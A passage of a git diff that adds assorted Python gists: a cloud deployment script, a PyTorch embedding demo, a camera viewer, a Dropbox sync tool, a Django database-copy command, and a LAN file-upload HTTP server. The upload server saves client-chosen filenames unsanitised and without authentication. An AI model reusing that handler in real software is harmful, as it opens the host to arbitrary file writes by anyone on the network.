+from pprint import pprint
+from tempfile import NamedTemporaryFile
+from jinja2 import Environment, PackageLoader
+from libcloud.common.types import ProviderError
+from libcloud.compute.types import Provider
+from libcloud.compute.deployment import (MultiStepDeployment,
+    ScriptDeployment, ScriptFileDeployment, FileDeployment)
+from libcloud.compute.providers import get_driver
+
+#setup jinja environment
+env = Environment(loader=PackageLoader('openwpm-deploy', 'templates'))
+
+
+def deploy_wpm_main(driver, password):
+    scopes = [
+        {
+            'email': 'default',
+            'scopes': ['compute', 'storage-full']
+        }
+    ]
+    # render the compose.yaml
+    compose_yaml_template = env.get_template('main-compose.jinja.yml')
+    compose_yaml = compose_yaml_template.render(password=password)
+    deploy_template = env.get_template('deploy.jinja.sh')
+    deploy = deploy_template.render(docker_compose=compose_yaml)
+
+    with NamedTemporaryFile(delete=False) as f:
+        f.write(deploy)
+        name = f.name
+    main = driver.deploy_node(name="main",
+                                    size='g1-small',
+                                    image='ubuntu-1404-trusty',
+                                    script=name,
+                                    location='us-central1-f',
+                                    ex_service_accounts=scopes)
+    return main
+
+
+def deploy_wpm_analysis_worker(driver):
+    scopes = [
+        {
+            'email': 'default',
+            'scopes': ['compute', 'storage-full']
+        }
+    ]
+    # render the compose.yaml
+    compose_yaml_template = env.get_template('analysis-worker-compose.jinja.yml')
+    compose_yaml = compose_yaml_template.render()
+    deploy_template = env.get_template('deploy.jinja.sh')
+    deploy = deploy_template.render(docker_compose=compose_yaml)
+
+    with NamedTemporaryFile(delete=False) as f:
+        f.write(deploy)
+        name = f.name
+    worker = driver.deploy_node(name="worker",
+                                size='n1-standard-16',
+                                image='ubuntu-1404-trusty',
+                                script=name,
+                                location='us-central1-f',
+                                ex_service_accounts=scopes)
+    return worker
+
+
+def setup_wpm_network(driver):
+    driver.ex_create_firewall('ipython-notebook', [{'IPProtocol': 'tcp',
+                                                    'ports': [8888]}])
+    driver.ex_create_firewall('spark-web-ui', [{'IPProtocol': 'tcp',
+                                                'ports': [8080]}])
+
+
+def deploy_wpm(project_id, pem_uri, service_account_email, password):
+    # Connect to GCE
+    driver = get_driver(Provider.GCE)(service_account_email,
+                                      pem_uri,
+                                      project=project_id)
+    try:
+        setup_wpm_network(driver)
+    except ProviderError:
+        net = None
+        print "Error when setting up network"
+    try:
+        main = deploy_wpm_main(driver, password)
+    except ProviderError:
+        main = None
+        print "Error when setting up main"
+    try:
+        worker = deploy_wpm_analysis_worker(driver)
+    except ProviderError:
+        print "Error when setting up worker"
+        worker = None
+    return {'main': main, 'worker': worker}
+
+
+def wait_for_main(url, retry_count=10):
+    import urllib2
+    print "Waiting for {0}".format(url)
+    count = 1
+    while True:
+        print "Attempt {0}".format(count)
+        try:
+            urllib2.urlopen("https://{0}:8888".format(url))
+            break
+        except urllib2.URLError:
+            count += 1
+            continue
+
+
+def main():
+    parser = argparse.ArgumentParser(description='Deploy OpenWPM infrastructure')
+    parser.add_argument('project_id', type=str, help='the project_id to deploy under')
+    parser.add_argument('service_json', type=str, help='json file for service account')
+    parser.add_argument('password', type=str, help='password for login')
+    args = parser.parse_args()
+    # load the service account email from the json file
+    with open(args.service_json) as f:
+        email = json.loads(f.read())['client_email']
+    # ready aim fire
+    ret = deploy_wpm(args.project_id, args.service_json, email, args.password)
+    wait_for_main(ret['main'].public_ips[0])
+    print "Main Notebook: https://{0}:8888".format(ret['main'].public_ips[0])
+
+if __name__ == "__main__":
+    main()
\ No newline at end of file
diff --git a/hard-gists/1e7c18c6f6eda87f1cb4995b0e6a22a5/._snippet.py b/hard-gists/1e7c18c6f6eda87f1cb4995b0e6a22a5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1e7c18c6f6eda87f1cb4995b0e6a22a5/._snippet.py differ
diff --git a/hard-gists/1e7c18c6f6eda87f1cb4995b0e6a22a5/snippet.py b/hard-gists/1e7c18c6f6eda87f1cb4995b0e6a22a5/snippet.py
new file mode 100644
index 00000000..5bcaf7ed
--- /dev/null
+++ b/hard-gists/1e7c18c6f6eda87f1cb4995b0e6a22a5/snippet.py
@@ -0,0 +1,144 @@
+import argparse
+from collections import Counter
+import csv
+import os
+import torch
+from torch.autograd import Variable
+import torch.nn as nn
+import torch.optim as optim
+import torch.utils.data as data
+import tarfile
+import time
+import urllib.request
+
+'''
+This trains a classifier using Embedding -> tanh -> Linear -> CrossEntropyLoss
+The goal is really just to get a sense of the speed of the Embedding layer in various cases,
+there's not even any evaluation of the model :) (would be easy to add though)
+
+$ python demo.py
+$ python demo.py --sparse
+$ python demo.py --cuda
+$ python demo.py --cuda --sparse
+'''
+
+parser = argparse.ArgumentParser()
+parser.add_argument('--cuda', action='store_true', help='use CUDA')
+parser.add_argument('--sparse', action='store_true', help='use sparse updates for embedding layer')
+parser.add_argument('--nepochs', type=int, default=10, help='number of epochs')
+parser.add_argument('--ntoken', type=int, default=1000000, help='maximum dictionary size')
+parser.add_argument('--nhid', type=int, default=100, help='hidden layer size')
+parser.add_argument('--batch-size', type=int, default=100, help='batch size')
+opt = parser.parse_args()
+
+nclasses = 14
+url = 'https://github.com/le-scientifique/torchDatasets/raw/master/dbpedia_csv.tar.gz'
+base_folder = '/tmp'
+archive_folder = os.path.join(base_folder, 'dbpedia_csv')
+train_file = os.path.join(archive_folder, 'train.csv')
+test_file = os.path.join(archive_folder, 'test.csv')
+Tensor = torch.cuda.FloatTensor if opt.cuda else torch.Tensor
+
+
+class Dataset(data.Dataset):
+
+    def __init__(self, dictionary, filepath):
+        lengths = []
+        indices = []
+        targets = []
+
+        with open(filepath, 'r') as fin:
+            for row in csv.reader(fin):
+                tokens = [i for i in [dictionary.get(x) for x in (row[1] + row[2]).split()] if i is not None]
+                length = len(tokens)
+                targets.append(int(row[0]) - 1)
+                lengths.append(len(tokens))
+                indices.extend(tokens)
+
+        self.targets = torch.LongTensor(targets)
+        self.lengths = torch.LongTensor(lengths)
+        self.starts = self.lengths.cumsum(0) - self.lengths
+        self.indices = torch.LongTensor(indices)
+
+    def __getitem__(self, index):
+        start = self.starts[index]
+        length = self.lengths[index]
+        indices = self.indices[start:start + length] if length > 0 else None
+        return length, indices, self.targets[index]
+
+    def __len__(self):
+        return self.lengths.numel()
+
+
+class Model(nn.Module):
+
+    def __init__(self, ntoken, nhid, nclasses):
+        super(Model, self).__init__()
+        self.embedding = nn.Embedding(opt.ntoken, opt.nhid, sparse=opt.sparse)
+        self.linear = nn.Linear(opt.nhid, nclasses)
+
+    def forward(self, lengths, indices):
+        embeddings = Variable(Tensor(lengths.numel(), opt.nhid))
+        starts = lengths.data.cumsum(0) - lengths.data
+        for i, length in enumerate(lengths.data):
+            if length > 0:
+                start = starts[i]
+                embeddings[i] = self.embedding(indices[start:start + length]).sum(dim=0).squeeze(0) / length
+            else:
+                embeddings[i] = torch.zeros(opt.nhid)
+        return self.linear(embeddings.tanh())
+
+
+def collate(batch):
+    lengths = torch.LongTensor([x[0] for x in batch])
+    indices = torch.cat([x[1] for x in batch if x[1] is not None])
+    targets = torch.LongTensor([x[2] for x in batch])
+    return lengths, indices, targets
+
+
+def load_dictionary(filepath):
+    cnt = Counter()
+    with open(filepath, 'r') as fin:
+        for row in csv.reader(fin):
+            for token in (row[1] + row[2]).split():
+                cnt[token] += 1
+    return {e: i for i, (e, _) in enumerate(cnt.most_common(opt.ntoken))}
+
+
+print('Downloading dataset')
+if not os.path.exists(archive_folder):
+    with urllib.request.urlopen(url, timeout=15) as stream, \
+            tarfile.open(fileobj=stream, mode='r|gz') as tf:
+        tf.extractall(base_folder)
+
+print('Initializing model')
+model = Model(opt.ntoken, opt.nhid, nclasses)
+if opt.cuda:
+    model.cuda()
+
+print('Building dictionary')
+dictionary = load_dictionary(train_file)
+
+print('Loading dataset')
+train_data = Dataset(dictionary, train_file)
+train_dataloader = data.DataLoader(train_data, batch_size=opt.batch_size, shuffle=True, collate_fn=collate)
+# test_data = Dataset(dictionary, test_file)
+# test_dataloader = data.DataLoader(test_data, batch_size=opt.batch_size, collate_fn=collate)
+
+criterion = nn.CrossEntropyLoss()
+optimizer = optim.Adagrad(model.parameters(), lr=0.1)
+start_time = time.time()
+total_batches = 0
+
+print('Training')
+for i in range(opt.nepochs):
+    for j, inputs in enumerate(train_dataloader):
+        optimizer.zero_grad()
+        lengths, indices, targets = [Variable(x.cuda() if opt.cuda else x) for x in inputs]
+        probs = model(lengths, indices)
+        loss = criterion(probs, targets)
+        loss.backward()
+        optimizer.step()
+        total_batches += 1
+        print('epoch: {}, batches: {}/{}, loss: {}, time/batch: {}'.format(
+            i + 1, j + 1, len(train_dataloader), loss.data[0], (time.time() - start_time) / total_batches))
diff --git a/hard-gists/1e7c794842755683162b/._snippet.py b/hard-gists/1e7c794842755683162b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1e7c794842755683162b/._snippet.py differ
diff --git a/hard-gists/1e7c794842755683162b/snippet.py b/hard-gists/1e7c794842755683162b/snippet.py
new file mode 100644
index 00000000..a004bc65
--- /dev/null
+++ b/hard-gists/1e7c794842755683162b/snippet.py
@@ -0,0 +1,29 @@
+import pygame
+from pygame.locals import *
+import cv2
+import numpy as np
+import sys
+
+camera = cv2.VideoCapture(0)
+pygame.init()
+pygame.display.set_caption("OpenCV camera stream on Pygame")
+screen = pygame.display.set_mode([1280,720])
+
+try:
+    while True:
+
+        ret, frame = camera.read()
+		
+        screen.fill([0,0,0])
+        frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)
+        frame = np.rot90(frame)
+        frame = pygame.surfarray.make_surface(frame)
+        screen.blit(frame, (0,0))
+        pygame.display.update()
+
+        for event in pygame.event.get():
+			if event.type == KEYDOWN:
+				sys.exit(0)
+except KeyboardInterrupt,SystemExit:
+    pygame.quit()
+    cv2.destroyAllWindows()
\ No newline at end of file
diff --git a/hard-gists/1e7e3c1da32d00f8ce0dff6b86fd45fe/._snippet.py b/hard-gists/1e7e3c1da32d00f8ce0dff6b86fd45fe/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1e7e3c1da32d00f8ce0dff6b86fd45fe/._snippet.py differ
diff --git a/hard-gists/1e7e3c1da32d00f8ce0dff6b86fd45fe/snippet.py b/hard-gists/1e7e3c1da32d00f8ce0dff6b86fd45fe/snippet.py
new file mode 100644
index 00000000..6f1dc670
--- /dev/null
+++ b/hard-gists/1e7e3c1da32d00f8ce0dff6b86fd45fe/snippet.py
@@ -0,0 +1,176 @@
+#!/usr/bin/env python3
+
+import os
+import html
+import urllib
+import sys
+import http
+import cgi
+import socket
+import socketserver
+import mimetypes
+from io import BytesIO
+from http import HTTPStatus
+from http.server import HTTPServer
+from http.server import SimpleHTTPRequestHandler
+import netifaces as ni
+
+__version__ = "0.8"
+
+class UploadHTTPHandler(SimpleHTTPRequestHandler):
+
+    server_version = "SimpleHTTP/" + __version__
+
+    def do_POST(self):
+        """Serve a POST request."""
+        form = cgi.FieldStorage(
+            fp=self.rfile,
+            headers=self.headers,
+            environ={'REQUEST_METHOD': 'POST',
+                     'CONTENT_TYPE': self.headers['Content-Type'],
+                     })
+        filename = form['file'].filename
+        path = self.translate_path(self.path)
+        filepath = os.path.join(path, filename)
+        if os.path.exists(filepath):
+            self.log_error('File %s exist!', filename)
+            filepath += '.new'
+
+        with open(filepath, 'wb') as f:
+            f.write(form['file'].value)
+        super().do_GET()
+
+    def list_directory(self, path):
+
+        try:
+            list = os.listdir(path)
+        except OSError:
+            self.send_error(
+                HTTPStatus.NOT_FOUND,
+                "No permission to list directory")
+            return None
+        list.sort(key=lambda a: a.lower())
+        r = []
+        try:
+            displaypath = urllib.parse.unquote(self.path,
+                                               errors='surrogatepass')
+        except UnicodeDecodeError:
+            displaypath = urllib.parse.unquote(path)
+        displaypath = html.escape(displaypath)
+        enc = sys.getfilesystemencoding()
+        title = 'Directory listing for %s' % displaypath
+        r.append('<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" '
+                 '"http://www.w3.org/TR/html4/strict.dtd">')
+        r.append('<html>\n<head>')
+        r.append('<meta http-equiv="Content-Type" '
+                 'content="text/html; charset=%s">' % enc)
+        r.append('<title>%s</title>\n</head>' % title)
+        r.append('<body>\n<h1>%s</h1>' % title)
+        r.append('''<form action="" enctype="multipart/form-data" method="post">\n
+                    <input name="file" type="file" />
+                    <input value="upload" type="submit" />
+                </form>''')
+        r.append('<hr>\n<ul>')
+        for name in list:
+            fullname = os.path.join(path, name)
+            displayname = linkname = name
+            # Append / for directories or @ for symbolic links
+            if os.path.isdir(fullname):
+                displayname = name + "/"
+                linkname = name + "/"
+            if os.path.islink(fullname):
+                displayname = name + "@"
+                # Note: a link to a directory displays with @ and links with /
+            r.append('<li><a href="%s">%s</a></li>'
+                    % (urllib.parse.quote(linkname,
+                                          errors='surrogatepass'),
+                       html.escape(displayname)))
+        r.append('</ul>\n<hr>\n</body>\n</html>\n')
+        encoded = '\n'.join(r).encode(enc, 'surrogateescape')
+        f = BytesIO()
+        f.write(encoded)
+        f.seek(0)
+        self.send_response(HTTPStatus.OK)
+        self.send_header("Content-type", "text/html; charset=%s" % enc)
+        self.send_header("Content-Length", str(len(encoded)))
+        self.end_headers()
+        return f
+
+    if not mimetypes.inited:
+        mimetypes.init() # try to read system mime.types
+    extensions_map = mimetypes.types_map.copy()
+    extensions_map.update({
+        '': 'application/octet-stream', # Default
+        '.py': 'text/plain',
+        '.c': 'text/plain',
+        '.h': 'text/plain',
+        })
+
+
+def get_httpd(port):
+    Handler = http.server.SimpleHTTPRequestHandler
+    httpd = socketserver.TCPServer(("", port), Handler)
+    return httpd
+
+def get_wirelessip(interf):
+    try:
+        wirelessip = ni.ifaddresses(interf)[ni.AF_INET][0]['addr']
+    except:
+        wirelessip = get_ip_address()
+
+    return wirelessip
+
+def get_ip_address():
+    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+    s.connect(("8.8.8.8", 80))
+    return s.getsockname()[0]
+
+def show_qr(url):
+    cmd = "echo {} | qrencode -o - -t UTF8".format(url)
+    os.system(cmd)
+
+if __name__ == '__main__':
+    #"""with upload
+    if len(sys.argv) == 3:
+        webdir=sys.argv[1]
+        port=int(sys.argv[2])
+        os.chdir(webdir)
+
+        UploadHTTPHandler.protocol_version = "HTTP/1.0"
+        wirelessip = get_wirelessip("en0")
+        server_address = (wirelessip, port)
+        httpd = HTTPServer(server_address, UploadHTTPHandler)
+        sa = httpd.socket.getsockname()
+
+        url = "http://{}:{}".format(sa[0], sa[1])
+        show_qr(url)
+        print(" | Serving HTTP on {}".format(url))
+        try:
+            httpd.serve_forever()
+        except KeyboardInterrupt:
+            print("\nKeyboard interrupt received, exiting.")
+            httpd.server_close()
+            sys.exit(0)
+    else:
+        print ("Usage:\n\t{} WEB_DIR PORT".format(sys.argv[0]))
+    """wo upload
+    if len(sys.argv) == 3:
+        WEB_DIR=sys.argv[1]
+        port=int(sys.argv[2])
+
+        os.chdir(WEB_DIR)
+        wirelessip = get_wirelessip("en0")
+        httpd = get_httpd(port)
+        url = "http://{}:{}".format(wirelessip, port)
+
+        show_qr(url)
+        print (" | Serving at {}".format(url))
+        try:
+            httpd.serve_forever()
+        except KeyboardInterrupt:
+            print("\n | Keyboard interrupt received, exiting.")
+            httpd.server_close()
+            sys.exit(0)
+    else:
+        print ("Usage:\n\t{} WEB_DIR PORT".format(sys.argv[0]))
+    """
\ No newline at end of file
diff --git a/hard-gists/1e8ab5bcf1a3af2c20de/._snippet.py b/hard-gists/1e8ab5bcf1a3af2c20de/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1e8ab5bcf1a3af2c20de/._snippet.py differ
diff --git a/hard-gists/1e8ab5bcf1a3af2c20de/snippet.py b/hard-gists/1e8ab5bcf1a3af2c20de/snippet.py
new file mode 100644
index 00000000..7ca068da
--- /dev/null
+++ b/hard-gists/1e8ab5bcf1a3af2c20de/snippet.py
@@ -0,0 +1,314 @@
+"""dbox_sync.py
+One-way sync of local directory to Dropbox using Dropbox API V2 and python3.
+
+Dependencies:
+
+- dropbox (`pip3 install dropbox`)
+
+Minimal modifications from:
+https://github.com/dropbox/dropbox-sdk-python/blob/master/example/updown.py
+
+Example config.ini:
+
+```
+[DBOX_SYNC]
+DROPBOX_TOKEN = asdf
+SOURCE_DIR = /home/user/scans
+DBOX_DIR = stuff/scans
+CLEAN_OLD = true
+```
+
+"""
+
+import argparse
+import contextlib
+import datetime
+import os
+import sys
+import time
+import unicodedata
+import dropbox
+import configparser
+import logging
+
+logging.basicConfig(
+    level=logging.WARNING,
+    format='%(asctime)s %(name)-12s %(lineno)d %(levelname)-8s %(message)s',
+    datefmt='%Y-%m-%d %H:%M:%S'
+    )
+
+logger_name = str(__file__) + " :: " + str(__name__)
+logger = logging.getLogger(logger_name)
+logging.getLogger("requests").setLevel(logging.WARNING)
+
+
+def cli():
+    parser = argparse.ArgumentParser()
+    parser.add_argument('-c', '--config', help='Config file')
+    parser.add_argument('--source', help='Local directory to upload')
+    parser.add_argument('--dest', help='Destination folder in your Dropbox')
+    parser.add_argument('--token', help='Access token (see '
+                        'https://www.dropbox.com/developers/apps)')
+    parser.add_argument('--yes', '-y', action='store_true',
+                        help='Answer yes to all questions')
+    parser.add_argument('--no', '-n', action='store_true',
+                        help='Answer no to all questions')
+    parser.add_argument('--clean', action='store_true',
+                        help='Delete files that have been successfully '
+                        'uploaded')
+    parser.add_argument('--default', '-d', action='store_true',
+                        help='Take default answer on all questions')
+
+    args = parser.parse_args()
+    main(args=args)
+
+
+def main(args=None):
+    """Main program.
+
+    Parse command line, then iterate over files and directories under
+    rootdir and upload all files.  Skips some temporary files and
+    directories, and avoids duplicate uploads by comparing size and
+    mtime with the server.
+    """
+
+    if args is None:
+        args = {}
+
+    if args.config:
+        config_locs = args.config
+    else:
+        config_locs = [
+                'config.ini',
+                '/etc/dbox_sync/config.ini',
+                'instance/config.ini',
+                os.path.join(os.path.expanduser('~'), '.dbox_sync_config.ini')
+                ]
+    config = configparser.ConfigParser()
+    config.read(config_locs)
+    if not config.has_section('DBOX_SYNC'):
+        config['DBOX_SYNC'] = {}
+
+    config = config['DBOX_SYNC']
+    logger.debug(config)
+
+    # args.foo should never be inappropriately falsey; even if directory named
+    # `0`; bool("0") == True
+    token = args.token or config.get('DROPBOX_TOKEN')
+    source_dir = args.source or config.get('SOURCE_DIR')
+
+    # Use empty string instead of None to avoid getting cast to string which
+    # results in extra folders named "None", e.g. `"{}".format(None) == "None"`
+    dbox_dir = args.dest or config.get('DBOX_DIR') or ""
+
+    # An option to delete files that are confirmed to already be uploaded
+    # (matching metadata)
+    #
+    # FIXME -- if args.clean == False, this doesn't respect that due to or
+    clean_old = args.clean or config.getboolean('CLEAN_OLD')
+
+    if sum([bool(b) for b in (args.yes, args.no, args.default)]) > 1:
+        logger.error('At most one of --yes, --no, --default is allowed')
+        sys.exit(2)
+    if not token:
+        logger.error('--token is mandatory')
+        sys.exit(2)
+
+    logger.debug('Dropbox folder name: {}'.format(dbox_dir))
+    logger.debug('Local directory: {}'.format(source_dir))
+    if not os.path.isdir(source_dir):
+        logger.error('{} does not exist or is not a folder'.format(source_dir))
+        sys.exit(1)
+
+    dbx = dropbox.Dropbox(token)
+
+    for dirname, dirs, files in os.walk(source_dir):
+        subfolder = dirname[len(source_dir):].strip(os.path.sep)
+        listing = list_folder(dbx, dbox_dir, subfolder)
+        logger.debug('Descending into {}...'.format(subfolder))
+
+        # First do all the files.
+        for name in files:
+            fullname = os.path.join(dirname, name)
+            nname = unicodedata.normalize('NFC', name)
+            if name.startswith('.'):
+                logger.debug('Skipping dot file: {}'.format(name))
+            elif name.startswith('@') or name.endswith('~'):
+                logger.debug('Skipping temporary file: {}'.format(name))
+            elif name.endswith('.pyc') or name.endswith('.pyo'):
+                logger.debug('Skipping generated file: {}'.format(name))
+            elif nname in listing:
+                md = listing[nname]
+                mtime = os.path.getmtime(fullname)
+                mtime_dt = datetime.datetime(*time.gmtime(mtime)[:6])
+                size = os.path.getsize(fullname)
+                if (isinstance(md, dropbox.files.FileMetadata) and
+                        mtime_dt == md.client_modified and size == md.size):
+                    logger.debug('{} is already synced [stats '
+                                 'match]'.format(name))
+                    if clean_old:
+                        os.remove(fullname)
+                else:
+                    logger.debug('{} exists with different stats, '
+                                 'downloading'.format(name))
+                    res = download(dbx, dbox_dir, subfolder, name)
+                    with open(fullname, 'rb') as f:
+                        data = f.read()
+                    if res == data:
+                        logger.debug('{} is already synced [content '
+                                     'match]'.format(name))
+                        if clean_old:
+                            os.remove(fullname)
+                    else:
+                        logger.debug('{} has changed since last '
+                                     'sync'.format(name))
+                        if yesno('Refresh {}'.format(name), False, args):
+                            upload(dbx, fullname, dbox_dir, subfolder, name,
+                                   overwrite=True)
+            elif yesno('Upload {}'.format(name), True, args):
+                upload(dbx, fullname, dbox_dir, subfolder, name)
+
+        # Then choose which subdirectories to traverse.
+        keep = []
+        for name in dirs:
+            if name.startswith('.'):
+                logger.debug('Skipping dot directory: {}'.format(name))
+            elif name.startswith('@') or name.endswith('~'):
+                logger.debug('Skipping temporary directory: {}'.format(name))
+            elif name == '__pycache__':
+                logger.debug('Skipping generated directory: {}'.format(name))
+            elif yesno('Descend into {}'.format(name), True, args):
+                logger.debug('Keeping directory: {}'.format(name))
+                keep.append(name)
+            else:
+                logger.debug('OK, skipping directory: {}'.format(name))
+        dirs[:] = keep
+
+
+def list_folder(dbx, dbox_dir, subfolder):
+    """List a folder.
+
+    Return a dict mapping unicode filenames to FileMetadata|FolderMetadata
+    entries.
+    """
+    path = '/{}/{}'.format(dbox_dir, subfolder.replace(os.path.sep, '/'))
+    while '//' in path:
+        path = path.replace('//', '/')
+    path = path.rstrip('/')
+    try:
+        with stopwatch('list_folder'):
+            res = dbx.files_list_folder(path)
+    except dropbox.exceptions.ApiError:
+        logger.warning('Folder listing failed for {} -- assumed empty'
+                       .format(path))
+        return {}
+    else:
+        return {entry.name: entry for entry in res.entries}
+
+
+def download(dbx, dbox_dir, subfolder, name):
+    """Download a file.
+
+    Return the bytes of the file, or None if it doesn't exist.
+    """
+    path = '/{}/{}/{}'.format(dbox_dir, subfolder.replace(os.path.sep, '/'),
+                              name)
+    while '//' in path:
+        path = path.replace('//', '/')
+    with stopwatch('download'):
+        try:
+            md, res = dbx.files_download(path)
+        except dropbox.exceptions.HttpError:
+            logger.exception("*** Dropbox HTTP Error")
+            return None
+    data = res.content
+    logger.debug('{} bytes; md: {}'.format(len(data), md))
+    return data
+
+
+def upload(dbx, fullname, dbox_dir, subfolder, name, overwrite=False):
+    """Upload a file.
+
+    Return the request response, or None in case of error.
+    """
+    path = '/{}/{}/{}'.format(dbox_dir, subfolder.replace(os.path.sep, '/'),
+                              name)
+    while '//' in path:
+        path = path.replace('//', '/')
+    mode = (dropbox.files.WriteMode.overwrite
+            if overwrite
+            else dropbox.files.WriteMode.add)
+    mtime = os.path.getmtime(fullname)
+    with open(fullname, 'rb') as f:
+        data = f.read()
+    with stopwatch('upload %d bytes' % len(data)):
+        try:
+            res = dbx.files_upload(
+                data, path, mode,
+                client_modified=datetime.datetime(*time.gmtime(mtime)[:6]),
+                mute=True)
+        except dropbox.exceptions.ApiError:
+            logger.exception('*** API error')
+            return None
+    logger.debug('Uploaded as {}'.format(res.name))
+    return res
+
+
+def yesno(message, default, args):
+    """Handy helper function to ask a yes/no question.
+
+    Command line arguments --yes or --no force the answer;
+    --default to force the default answer.
+
+    Otherwise a blank line returns the default, and answering
+    y/yes or n/no returns True or False.
+
+    Retry on unrecognized answer.
+
+    Special answers:
+    - q or quit exits the program
+    - p or pdb invokes the debugger
+    """
+    if args.default:
+        logger.debug('{} ? [auto] {}'.format(message, 'Y' if default else 'N'))
+        return default
+    if args.yes:
+        logger.debug('{} ? [auto] YES'.format(message))
+        return True
+    if args.no:
+        logger.debug('{} ? [auto] NO'.format(message))
+        return False
+    if default:
+        message += '? [Y/n] '
+    else:
+        message += '? [N/y] '
+    while True:
+        answer = input(message).strip().lower()
+        if not answer:
+            return default
+        if answer in ('y', 'yes'):
+            return True
+        if answer in ('n', 'no'):
+            return False
+        if answer in ('q', 'quit'):
+            logger.warning('Exit')
+            raise SystemExit(0)
+        if answer in ('p', 'pdb'):
+            import pdb
+            pdb.set_trace()
+        logger.debug('Please answer YES or NO.')
+
+
+@contextlib.contextmanager
+def stopwatch(message):
+    """Context manager to print how long a block of code took."""
+    t0 = time.time()
+    try:
+        yield
+    finally:
+        t1 = time.time()
+        logger.debug('Total elapsed time for {}: '
+                     '{:.3f}'.format(message, t1 - t0))
+
+if __name__ == '__main__':
+    cli()
diff --git a/hard-gists/1ebaeaaa7f7408647fef/._snippet.py b/hard-gists/1ebaeaaa7f7408647fef/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1ebaeaaa7f7408647fef/._snippet.py differ
diff --git a/hard-gists/1ebaeaaa7f7408647fef/snippet.py b/hard-gists/1ebaeaaa7f7408647fef/snippet.py
new file mode 100644
index 00000000..8351b2ef
--- /dev/null
+++ b/hard-gists/1ebaeaaa7f7408647fef/snippet.py
@@ -0,0 +1,29 @@
+import speech_recognition
+import pyttsx
+
+speech_engine = pyttsx.init('sapi5') # see http://pyttsx.readthedocs.org/en/latest/engine.html#pyttsx.init
+speech_engine.setProperty('rate', 150)
+
+def speak(text):
+	speech_engine.say(text)
+	speech_engine.runAndWait()
+
+recognizer = speech_recognition.Recognizer()
+
+def listen():
+	with speech_recognition.Microphone() as source:
+		recognizer.adjust_for_ambient_noise(source)
+		audio = recognizer.listen(source)
+
+	try:
+		return recognizer.recognize_sphinx(audio)
+		# or: return recognizer.recognize_google(audio)
+	except speech_recognition.UnknownValueError:
+		print("Could not understand audio")
+	except speech_recognition.RequestError as e:
+		print("Recog Error; {0}".format(e))
+
+	return ""
+
+speak("Say something!")
+speak("I heard you say " + listen())
\ No newline at end of file
diff --git a/hard-gists/1ed9763ab4aa98516a7d/._snippet.py b/hard-gists/1ed9763ab4aa98516a7d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1ed9763ab4aa98516a7d/._snippet.py differ
diff --git a/hard-gists/1ed9763ab4aa98516a7d/snippet.py b/hard-gists/1ed9763ab4aa98516a7d/snippet.py
new file mode 100644
index 00000000..9ae022ed
--- /dev/null
+++ b/hard-gists/1ed9763ab4aa98516a7d/snippet.py
@@ -0,0 +1,151 @@
+from optparse import make_option
+
+from django.core import serializers
+from django.db.models import get_app, get_models
+
+
+__author__ = 'mikhailturilin'
+
+from django.core.management.base import BaseCommand
+
+
+def get_foreign_key_fields(model):
+    for field in model._meta.fields:
+        if field.get_internal_type() == "ForeignKey":
+            yield field
+
+
+def model_name(model):
+    return model._meta.object_name
+
+
+
+def copy_instance(model, instance, from_database, to_database, ignore_errors=False, natural_key_models=None,
+                  skip_models=None):
+    if model_name(model) in (skip_models or []):
+        return
+
+    use_natural_keys = model_name(model) in (natural_key_models or [])
+
+    if model.objects.using(to_database).filter(pk=instance.pk).exists():
+        # print "Skipping %s:%s" % (model.__name__, obj.pk)
+        return
+
+    print "Copying %s:%s" % (model.__name__, instance.pk)
+
+
+    # copy foreign keys
+    for fk_field in get_foreign_key_fields(model):
+        fk_obj = getattr(instance, fk_field.name, None)
+        if fk_obj:
+            copy_instance(fk_field.rel.to, fk_obj, from_database, to_database, ignore_errors)
+
+    # copy m2m keys
+    meta = model._meta
+    for m2m in meta.many_to_many:
+        # store many-to-many related objects for every
+        # many-to-many relation of this object
+        m2m_qs = getattr(instance, m2m.name)
+        foreign_objs = m2m_qs.all()
+        for m2m_obj in foreign_objs:
+            copy_instance(m2m.rel.to, m2m_obj, from_database, to_database, ignore_errors)
+
+    # copy itself
+    original_data_json = serializers.serialize("json", [instance], use_natural_keys=use_natural_keys)
+    print original_data_json
+
+    new_data = serializers.deserialize("json", original_data_json, using=to_database)
+
+    for n in new_data:
+        try:
+            n.save(using=to_database)
+        except Exception as ex:
+            if ignore_errors:
+                print ex
+            else:
+                raise ex
+
+
+def copy_model(model, from_database, to_database, ignore_errors=False, natural_key_models=None, skip_models=None):
+    if model_name(model) in (skip_models or []):
+        print "Skipping model %s" % model_name(model)
+        return
+
+
+    count = model.objects.using(from_database).count()
+    print "%s objects in model %s" % (count, model_name(model))
+
+    for obj in model.objects.using(from_database).all():
+        copy_instance(model, obj, from_database, to_database, ignore_errors, natural_key_models, skip_models)
+
+
+def flush_model(model, database):
+    print "deleting all models '%s' in database '%s'" % (model.__name__, database)
+    model.objects.using(database).delete()
+
+
+def get_encoded_models(name):
+    model_name = None
+    if ':' in name:
+        app_name, model_name = name.split(':')
+    else:
+        app_name = name
+
+    app = get_app(app_name)
+
+    models = get_models(app)
+
+    if model_name:
+        models = [model for model in models if model._meta.object_name == model_name]
+
+    return models
+
+
+class Command(BaseCommand):
+    args = '<from_database to_database application1, application2 ...>'
+    help = 'copies models between databases'
+
+    option_list = BaseCommand.option_list + (
+        make_option('--delete',
+                    action='store_true',
+                    dest='delete',
+                    default=False,
+                    help='Delete the models in the target db first'),
+        make_option('--ignore-errors',
+                    action='store_true',
+                    dest='ignore-errors',
+                    default=False,
+                    help='Ignore save errors, just show them in the output'),
+
+        make_option('--natural-key-models',
+                    dest='natural-key-models',
+                    default='',
+                    help='List of the models names to use with natural key serialization'),
+
+        make_option('--skip-models',
+                    dest='skip-models',
+                    default='',
+                    help='List of the models names to skip'),
+    )
+
+    def handle(self, from_database, to_database, *args, **options):
+        apps_names = args
+        skip_models = options['skip-models'].split(',')
+        natural_key_models = options['natural-key-models'].split(',')
+
+        if options['delete']:
+            for name in apps_names:
